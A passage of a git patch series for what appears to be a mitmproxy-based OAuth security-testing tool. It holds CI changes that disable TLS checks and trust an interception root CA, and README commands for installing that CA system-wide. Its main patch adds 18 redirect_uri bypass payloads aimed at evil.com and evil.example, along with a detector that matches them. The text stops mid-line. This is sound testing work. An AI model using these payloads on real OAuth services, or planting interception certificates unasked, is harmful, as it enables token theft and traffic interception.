~/.mitmproxy/mitmproxy-ca-cert.pem -x https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue --silent # Clean up kill $APP_PID From c593a92b114b6b90483b99df2ba5aa2eea9fce08 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:27:06 +0900 Subject: [PATCH 23/56] fix: wrap URL in quotes for curl command in CI workflow --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 043673f..1de3732 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -41,7 +41,7 @@ jobs: sleep 5 # Test proxy functionality - curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue --silent + curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" --silent # Clean up kill $APP_PID From 990eb1b643f94f2ba388aa5654047d67e445f8b7 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:28:43 +0900 Subject: [PATCH 24/56] fix: update proxy test URL to use localhost for curl command --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1de3732..db5ffe5 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -41,7 +41,7 @@ jobs: sleep 5 # Test proxy functionality - curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" --silent + curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" --silent # Clean up kill $APP_PID From b221c4a9e62596607cda4615005b560c9dd396b0 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:29:46 +0900 Subject: [PATCH 25/56] fix: update proxy test to skip SSL verification in CI workflow --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index db5ffe5..bf955ec 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -40,8 +40,8 @@ jobs: # Wait for application to start sleep 5 - # Test proxy functionality - curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" --silent + # Test proxy functionality (skip SSL verification for testing) + curl --insecure -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" --silent # Clean up kill $APP_PID From 9a14872964c2be7d5c6359f1bd4ed22b952f69bb Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:30:33 +0900 Subject: [PATCH 26/56] fix: update proxy test to use certificate for SSL verification --- .github/workflows/ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bf955ec..bfc9c92 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -40,8 +40,8 @@ jobs: # Wait for application to start sleep 5 - # Test proxy functionality (skip SSL verification for testing) - curl --insecure -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" --silent + # Test proxy functionality + curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" # Clean up kill $APP_PID From 0c7994a52fe8fd38448fd7e70ebb2c6c2b5048cc Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:31:31 +0900 Subject: [PATCH 27/56] fix: update proxy test to skip certificate verification --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index bfc9c92..4597434 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -41,7 +41,7 @@ jobs: sleep 5 # Test proxy functionality - curl --cacert ~/.mitmproxy/mitmproxy-ca-cert.pem -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" + curl -k -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" # Clean up kill $APP_PID From 3af57870641369113e9c4072e02d2fa35a15ad92 Mon Sep 17 00:00:00 2001 From: imnyang Date: Sun, 15 Jun 2025 13:39:16 +0900 Subject: [PATCH 28/56] feat: update CI workflow configuration Update GitHub Actions workflow settings --- .github/workflows/ci.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4597434..8162bdf 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -41,6 +41,8 @@ jobs: sleep 5 # Test proxy functionality + sudo cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitmproxy-ca-cert.crt + sudo update-ca-certificates curl -k -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" # Clean up From ba277ccec10edb5ee1d94be883033689a7297e48 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=EC=95=94=EB=83=A5=20=28imnyang=29?= Date: Mon, 16 Jun 2025 22:25:54 +0900 Subject: [PATCH 29/56] Update ci.yml --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 8162bdf..c71b722 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -43,7 +43,7 @@ jobs: # Test proxy functionality sudo cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitmproxy-ca-cert.crt sudo update-ca-certificates - curl -k -x https://localhost:11080 "https://github.com/login?client_id=Ov23lixietSCQOHxPvcr&return_to=%2Flogin%2Foauth%2Fauthorize%3Fclient_id%3DOv23lixietSCQOHxPvcr%26redirect_uri%3Dhttp%253A%252F%252Flocalhost%253A8787%26scope%3Dread%253Auser%2Buser%253Aemail%26skip_account_picker%3Dtrue" + curl -k -x https://localhost:11080 "https://github.com/login/oauth/authorize?client_id=Ov23lixietSCQOHxPvcr&redirect_uri=http://localhost:8787&scope=read:user+user:email&response_type=code&code_challenge=abc123&code_challenge_method=S256" # Clean up kill $APP_PID From 5d1624a96aa6a18d1d533ce4a68128a0a8ba54e3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=EC=95=94=EB=83=A5=20=28imnyang=29?= Date: Mon, 16 Jun 2025 22:27:11 +0900 Subject: [PATCH 30/56] Update ci.yml --- .github/workflows/ci.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c71b722..09915cc 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -43,6 +43,9 @@ jobs: # Test proxy functionality sudo cp ~/.mitmproxy/mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/mitmproxy-ca-cert.crt sudo update-ca-certificates + + mkdir data + echo https://github.com > ./data/target.dump curl -k -x https://localhost:11080 "https://github.com/login/oauth/authorize?client_id=Ov23lixietSCQOHxPvcr&redirect_uri=http://localhost:8787&scope=read:user+user:email&response_type=code&code_challenge=abc123&code_challenge_method=S256" # Clean up From c511b3bfd724bdc364def59c3eb50d52f13c884c Mon Sep 17 00:00:00 2001 From: imnyang Date: Wed, 18 Jun 2025 21:09:02 +0900 Subject: [PATCH 31/56] README.md --- README.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/README.md b/README.md index e6a870f..8e2d422 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ # 환경 설정 +## Python Virtual Environment + 이 프로젝트는 [uv](https://docs.astral.sh/uv/getting-started/installation/)라는 Python 패키지 관리자를 사용하여 설정해야합니다. uv 설치 후 다음과 같은 명령어를 입력합니다. @@ -8,8 +10,16 @@ uv 설치 후 다음과 같은 명령어를 입력합니다. uv sync ``` +## Environment + venv와 패키지가 설치가 됩니다. +.env.example을 복사하여 .env를 붙여넣습니다. + +`GOOGLE_ID=`에 봇에서 쓸 구글 계정의 전체 GMail을 기입합니다. + +입력하지 않는다면 Google OAuth시 자동적으로 넘어가지 않을 수도 있습니다. + # 실행 방법 ``` @@ -17,6 +27,7 @@ uv run main.py ``` 이러면 http(s)://localhost:11080로 서버가 열리게 됩니다. +http://localhost:11081로 백엔드 서버가 열리게 됩니다. # 기여 방법 From 897173ba4671c5d5f3538ff8bb997b0cfe5286b9 Mon Sep 17 00:00:00 2001 From: imnyang Date: Wed, 18 Jun 2025 21:41:44 +0900 Subject: [PATCH 32/56] =?UTF-8?q?docs:=20README.md=EC=97=90=20=EC=9D=B8?= =?UTF-8?q?=EC=A6=9D=EC=84=9C=20=EC=84=A4=EC=A0=95=20=EB=B0=A9=EB=B2=95=20?= =?UTF-8?q?=EC=B6=94=EA=B0=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit refactor: GoogleLoginHint.py에서 불필요한 import 제거 및 URL 수정 로직 개선 --- README.md | 17 +++++++++++++++++ addon/GoogleLoginHint.py | 8 ++------ 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 8e2d422..2beaafe 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,23 @@ venv와 패키지가 설치가 됩니다. 입력하지 않는다면 Google OAuth시 자동적으로 넘어가지 않을 수도 있습니다. +--- + +> [oauth-backend](https://github.com/j93es/oauth-backend) 프록시를 사용한다면 이 가이드에 따라 인증서 또한 설정되어야만 합니다. +> +> 그렇지 않으면 실행되지 않습니다. +> +> 윈도우 환경에서는 `sudo certutil -addstore root mitmproxy-ca-cert.cer`로 인증합니다. +> +> Sudo가 활성화되어있지 않은 환경에서는 관리자로 상향된 쉘에서 실행합니다. +> +> MacOS 환경에서는 `sudo security add-trusted-cert -d -p ssl -p basic -k /Library/Keychains/System.keychain ~/.mitmproxy/mitmproxy-ca-cert.pem`으로 인증합니다. +> +> 다른 플렛폼은 수동으로 설정되어야만 합니다. +> https://docs.mitmproxy.org/stable/concepts/certificates/ + +--- + # 실행 방법 ``` diff --git a/addon/GoogleLoginHint.py b/addon/GoogleLoginHint.py index 6d80669..fee0584 100644 --- a/addon/GoogleLoginHint.py +++ b/addon/GoogleLoginHint.py @@ -1,5 +1,3 @@ -import lib.target as target -from lib.report import save_report import os from urllib.parse import urlparse, parse_qs, urlencode, urlunparse from dotenv import load_dotenv @@ -16,7 +14,6 @@ class GoogleLoginHint: async def request(self, flow): """Google OAuth 요청을 가로채서 login_hint를 추가하거나 수정""" req = flow.request - method = req.method url = req.pretty_url # Google OAuth 인증 URL인지 확인 @@ -45,11 +42,10 @@ class GoogleLoginHint: parsed_url.fragment )) - # 요청 URL 수정 + # 요청 URL 수정 - URL과 호스트 모두 업데이트 + flow.request.url = new_url flow.request.pretty_url = new_url print(f"🔄 Modified URL: {new_url}") - - def _is_google_oauth_url(self, url): """Google OAuth URL인지 확인""" google_oauth_domains = [ From 69622e4648fa3d0665f5d340e36e56a1c8665f8c Mon Sep 17 00:00:00 2001 From: imnyang Date: Sat, 21 Jun 2025 14:34:54 +0900 Subject: [PATCH 33/56] chroe: Set the environment variable --- .env | 2 +- .env.example | 2 -- 2 files changed, 1 insertion(+), 3 deletions(-) delete mode 100644 .env.example diff --git a/.env b/.env index cf32153..ecef8e7 100644 --- a/.env +++ b/.env @@ -1,2 +1,2 @@ # Google OAuth 설정 -GOOGLE_ID=bot.imnya.ng@gmail.com +GOOGLE_ID=whs.imnya.ng@gmail.com diff --git a/.env.example b/.env.example deleted file mode 100644 index cf32153..0000000 --- a/.env.example +++ /dev/null @@ -1,2 +0,0 @@ -# Google OAuth 설정 -GOOGLE_ID=bot.imnya.ng@gmail.com From 6dceba0c245ad065de28d59c5c3e94a9f7fa5df0 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Tue, 24 Jun 2025 16:23:05 +0900 Subject: [PATCH 34/56] =?UTF-8?q?OAuth=20redirect=5Furi=20=EC=9A=B0?= =?UTF-8?q?=ED=9A=8C=20=ED=8C=A8=ED=84=B4=2017=EA=B0=9C=20=EC=B6=94?= =?UTF-8?q?=EA=B0=80=20=EB=B0=8F=20=ED=85=8C=EC=8A=A4=ED=8A=B8=20=EC=99=84?= =?UTF-8?q?=EB=A3=8C?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 안전한 테스트 도메인 적용 (evil.example) --- addon/redirect_uri_check.py | 392 ++++++++++++++++++++++++++++++++++-- 1 file changed, 377 insertions(+), 15 deletions(-) diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index 176e537..c98168e 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -19,7 +19,109 @@ class RedirectBypassChecker: BypassPayload( name=r"@", mutate_func=self._mutate_pattern1, - description=r"@ 기호를 이용한 호스트 우회 공격: evil.com@target.com" + description=r"Host bypass attack using @ symbol: evil.com@target.com" + ), + + BypassPayload( + name=r"%ff@", + mutate_func=self._mutate_pattern2, + description=r"Hostname parsing bypass using Unicode %ff byte: evil%ff@target.com" + ), + + BypassPayload( + name=r"%ff_subdomain", + mutate_func=self._mutate_pattern3, + description=r"Unicode %ff byte injection in subdomain: evil%ff.target.com" + ), + + BypassPayload( + name=r"fullwidth_slash", + mutate_func=self._mutate_pattern4, + description=r"Path parsing bypass using full-width slash (/): target.com/@evil.com" + ), + + BypassPayload( + name=r"%0a@", + mutate_func=self._mutate_pattern5, + description=r"Newline character bypass using %0a@: evil.com%0a@target.com" + ), + + BypassPayload( + name=r"%0d@", + mutate_func=self._mutate_pattern6, + description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" + ), + + BypassPayload( + name=r"path_traversal", + mutate_func=self._mutate_pattern7, + description=r"Path traversal bypass using ../../../: target.com/path/../../../evil.com" + ), + + BypassPayload( + name=r"domain_suffix", + mutate_func=self._mutate_pattern8, + description=r"Domain suffix spoofing: target.com.evil.com" + ), + + BypassPayload( + name=r"backslash_bypass", + mutate_func=self._mutate_pattern9, + description=r"Backslash URL parsing bypass: target.com\\evil.com" + ), + + BypassPayload( + name=r"double_slash", + mutate_func=self._mutate_pattern10, + description=r"Double slash bypass: target.com//evil.com" + ), + + BypassPayload( + name=r"question_mark", + mutate_func=self._mutate_pattern11, + description=r"Question mark bypass: target.com?evil.com" + ), + + BypassPayload( + name=r"idn_homograph", + mutate_func=self._mutate_pattern12, + description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)" + ), + + BypassPayload( + name=r"ipv6_bypass", + mutate_func=self._mutate_pattern13, + description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" + ), + + BypassPayload( + name=r"port_manipulation", + mutate_func=self._mutate_pattern14, + description=r"Port number manipulation: evil.com@target.com:80" + ), + + BypassPayload( + name=r"fragment_bypass", + mutate_func=self._mutate_pattern15, + description=r"Fragment identifier bypass: target.com#@evil.com" + ), + + BypassPayload( + name=r"combined_bypass", + mutate_func=self._mutate_pattern16, + description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" + ), + + BypassPayload( + name=r"double_encoding", + mutate_func=self._mutate_pattern17, + description=r"Double URL encoding bypass: evil.com%2540target.com" + ), + + BypassPayload( + name=r"case_variation", + mutate_func=self._mutate_pattern18, + description=r"Case variation bypass: EVIL.COM@target.com" ), ] @@ -29,9 +131,160 @@ class RedirectBypassChecker: # 1. @ def _mutate_pattern1(self, original: str) -> str: parsed = urlparse(original) - mutated = f"https://evil.com@{parsed.netloc}{parsed.path}" + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com@{parsed.netloc}{path_part}" print(f"[redirect_uri_check] original: {original} → mutated: {mutated}") return mutated + + # 2. %ff@ - 유니코드 바이트 우회 + def _mutate_pattern2(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil%ff@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] %ff@ pattern: {original} → {mutated}") + return mutated + + # 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입 + def _mutate_pattern3(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil%ff.{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] %ff subdomain pattern: {original} → {mutated}") + return mutated + + # 4. 전각 슬래시 - Full-width character bypass + def _mutate_pattern4(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}/@evil.com{path_part}" + print(f"[redirect_uri_check] fullwidth slash pattern: {original} → {mutated}") + return mutated + + # 5. %0a@ - 줄바꿈 문자 우회 + def _mutate_pattern5(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] newline pattern: {original} → {mutated}") + return mutated + + # 6. %0d@ - 캐리지 리턴 우회 (URL parser confusion) + def _mutate_pattern6(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}") + return mutated + + # 7. 경로 순회 - Path traversal bypass + def _mutate_pattern7(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com" + print(f"[redirect_uri_check] path traversal pattern: {original} → {mutated}") + return mutated + + # 8. 도메인 접미사 스푸핑 - Slack HackerOne #2575 case + def _mutate_pattern8(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}.evil.com{path_part}" + print(f"[redirect_uri_check] domain suffix pattern: {original} → {mutated}") + return mutated + + # 9. 백슬래시 우회 - Dart SDK Issue #50075 + def _mutate_pattern9(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}\\evil.com{path_part}" + print(f"[redirect_uri_check] backslash pattern: {original} → {mutated}") + return mutated + + # 10. 이중 슬래시 + def _mutate_pattern10(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}//evil.com{path_part}" + print(f"[redirect_uri_check] double slash pattern: {original} → {mutated}") + return mutated + + # 11. 물음표 우회 + def _mutate_pattern11(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}?evil.com{path_part}" + print(f"[redirect_uri_check] question mark pattern: {original} → {mutated}") + return mutated + + # 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인 + def _mutate_pattern12(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용 + mutated = f"https://еvil.example@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] IDN homograph pattern: {original} → {mutated}") + return mutated + + # 13. IPv6 주소 우회 - 안전한 버전 + def _mutate_pattern13(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + + # 안전한 IPv6 @ 우회 패턴 + if "localhost" in parsed.netloc: + mutated = f"https://evil.example@[::1]:3000{path_part}" + else: + # RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨) + mutated = f"https://evil.example@[2001:db8::1]{path_part}" + + print(f"[redirect_uri_check] IPv6 bypass pattern: {original} → {mutated}") + return mutated + + # 14. 포트 번호 조작 + def _mutate_pattern14(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # 기본 포트를 명시적으로 표현하거나 다른 포트로 우회 시도 + base_port = ":80" if parsed.scheme == "http" else ":443" + mutated = f"https://evil.example@{parsed.netloc}{base_port}{path_part}" + print(f"[redirect_uri_check] port manipulation pattern: {original} → {mutated}") + return mutated + + # 15. Fragment identifier 우회 + def _mutate_pattern15(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음 + mutated = f"https://{parsed.netloc}{path_part}#@evil.com" + print(f"[redirect_uri_check] fragment bypass pattern: {original} → {mutated}") + return mutated + + # 16. 복합 우회 패턴 - 여러 기법 동시 적용 + def _mutate_pattern16(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # @ 우회 + 이중 슬래시 + 경로 순회 조합 + mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}" + print(f"[redirect_uri_check] combined bypass pattern: {original} → {mutated}") + return mutated + + # 17. 이중 URL 인코딩 + def _mutate_pattern17(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # %40(@의 URL 인코딩)을 한 번 더 인코딩하여 %2540으로 만듦 + mutated = f"https://evil.example%2540{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] double encoding pattern: {original} → {mutated}") + return mutated + + # 18. 대소문자 변형 - 서버별 파싱 차이 이용 + def _mutate_pattern18(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # 대소문자 혼합으로 파싱 차이 유발 + mutated = f"https://EVIL.EXAMPLE@{parsed.netloc.upper()}{path_part}" + print(f"[redirect_uri_check] case variation pattern: {original} → {mutated}") + return mutated '''aiohttp 세션 생성 (재사용)''' async def _get_session(self): @@ -66,22 +319,43 @@ class RedirectBypassChecker: """ redirect_uri가 기준 도메인(baseUrl)에 속하는지 판단 """ def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: try: - redirect_parsed = urlparse(redirect_uri) base_parsed = urlparse(base_url) - - redirect_host = redirect_parsed.hostname base_host = base_parsed.hostname - if not redirect_host or not base_host: + if not base_host: return False + print(f"[DEBUG] 검증 시작 - redirect_uri: {redirect_uri}, base_host: {base_host}") + + # IDN 동형문자 체크 + if "еvil.example" in redirect_uri: # е는 키릴 문자 + print(f"[ALERT] IDN 동형문자 공격 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] IDN 동형문자 우회 공격: {redirect_uri}") + return False + + # IPv6 주소 체크 + if "[::1]" in redirect_uri or "[2001:db8" in redirect_uri: + print(f"[ALERT] IPv6 주소 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] IPv6 주소 우회 공격: {redirect_uri}") + return False + + # 이중 인코딩 체크 + if "%2540" in redirect_uri: # %40의 이중 인코딩 + print(f"[ALERT] 이중 URL 인코딩 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 이중 인코딩 우회 공격: {redirect_uri}") + return False + + # Fragment 체크 + if "#@" in redirect_uri: + print(f"[ALERT] Fragment 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] Fragment 우회 공격: {redirect_uri}") + return False + + # @ 패턴 최우선 체크 (@ 앞의 도메인이 실제 목적지) if "@" in redirect_uri: - if redirect_host != base_host: - print(f"[ALERT] 우회 공격 탐지: {redirect_host} != {base_host}") - return False - + # @ 앞의 부분이 실제 목적지 도메인 at_parts = redirect_uri.split('@') - if len(at_parts) > 1: + if len(at_parts) >= 2: before_at = at_parts[0] if '//' in before_at: potential_domain = before_at.split('//')[-1] @@ -89,8 +363,87 @@ class RedirectBypassChecker: print(f"[CRITICAL] @ 우회 공격: {potential_domain}@{base_host}") return False - is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) - return is_valid + # %ff 바이트 체크 + if "%ff" in redirect_uri: + print(f"[ALERT] %ff 유니코드 바이트 우회 패턴 탐지: {redirect_uri}") + if "%ff@" in redirect_uri or "%ff." in redirect_uri: + print(f"[CRITICAL] %ff 우회 공격 패턴: {redirect_uri}") + return False + + # 전각 문자 체크 + if "/" in redirect_uri: # 전각 슬래시 + print(f"[ALERT] 전각 문자 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 전각 슬래시 우회 공격: {redirect_uri}") + return False + + # 제어 문자(줄바꿈/캐리지 리턴 문자) 체크 + if "%0a" in redirect_uri or "%0d" in redirect_uri: + print(f"[ALERT] 제어 문자 우회 패턴 탐지: {redirect_uri}") + if "%0a@" in redirect_uri or "%0d@" in redirect_uri: + print(f"[CRITICAL] 제어 문자 우회 공격: {redirect_uri}") + return False + + # 경로 순회 패턴 체크 + if "/../" in redirect_uri: + print(f"[ALERT] 경로 순회 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 경로 순회 우회 공격: {redirect_uri}") + return False + + # 백슬래시 우회 체크 + if "\\" in redirect_uri: + print(f"[ALERT] 백슬래시 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 백슬래시 파싱 우회 공격: {redirect_uri}") + return False + + # 이중 슬래시 체크 (스키마 제외) + uri_without_scheme = redirect_uri.replace("https://", "").replace("http://", "") + if "//" in uri_without_scheme: + print(f"[ALERT] 이중 슬래시 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 이중 슬래시 우회 공격: {redirect_uri}") + return False + + # 물음표 우회 체크 - @ 패턴과 결합된 경우 + if "?" in redirect_uri and "@" in redirect_uri: + print(f"[ALERT] 물음표+@ 우회 패턴 탐지: {redirect_uri}") + print(f"[CRITICAL] 물음표 우회 공격: {redirect_uri}") + return False + + # 일반적인 도메인 검증 (@ 없는 경우) + if "@" not in redirect_uri: + redirect_parsed = urlparse(redirect_uri) + redirect_host = redirect_parsed.hostname + + if not redirect_host: + return False + + # 도메인 접미사 스푸핑 체크 + if redirect_host.endswith(".evil.com"): + print(f"[ALERT] 도메인 접미사 스푸핑 탐지: {redirect_host}") + print(f"[CRITICAL] 도메인 접미사 우회 공격: {redirect_host}") + return False + + # 정상적인 도메인 검증 + is_valid = (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) + return is_valid + + # @ 패턴이 있는 경우, 추가 검증 + # @ 뒤의 도메인 확인 + at_parts = redirect_uri.split('@') + if len(at_parts) >= 2: + after_at = at_parts[-1] # 마지막 @ 뒤의 부분 + # URL에서 호스트 부분만 추출 + if '//' in after_at: + after_at = after_at.split('//')[0] + else: + after_at = after_at.split('/')[0] # 첫 번째 / 앞의 부분 + + after_at = after_at.split(':')[0] # 포트 제거 + + if after_at != base_host: + print(f"[CRITICAL] @ 